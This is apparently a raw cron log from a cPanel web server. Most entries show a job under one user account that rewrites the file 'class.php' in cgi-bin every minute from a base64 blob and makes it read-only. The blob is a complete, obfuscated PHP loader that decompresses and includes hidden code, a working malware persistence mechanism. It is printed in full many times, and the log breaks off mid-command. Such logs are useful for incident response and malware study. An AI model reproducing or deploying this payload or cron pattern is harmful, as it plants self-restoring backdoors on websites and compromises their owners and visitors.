Nov 12 15:46:01 server CROND[6441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:47:01 server CROND[7350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:48:01 server CROND[7775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:49:01 server CROND[8581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:50:01 server CROND[9575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 15:50:01 server CROND[9578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:50:01 server CROND[9579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:50:01 server CROND[9581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:50:01 server CROND[9580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:51:01 server CROND[10377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:52:01 server CROND[11279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:53:01 server CROND[12189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:54:01 server CROND[13020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:55:01 server CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:55:01 server CROND[13837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:55:01 server CROND[13838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:56:01 server CROND[14703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:57:01 server CROND[15527]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:57:01 server CROND[15528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:58:01 server CROND[16338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:59:01 server CROND[17251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 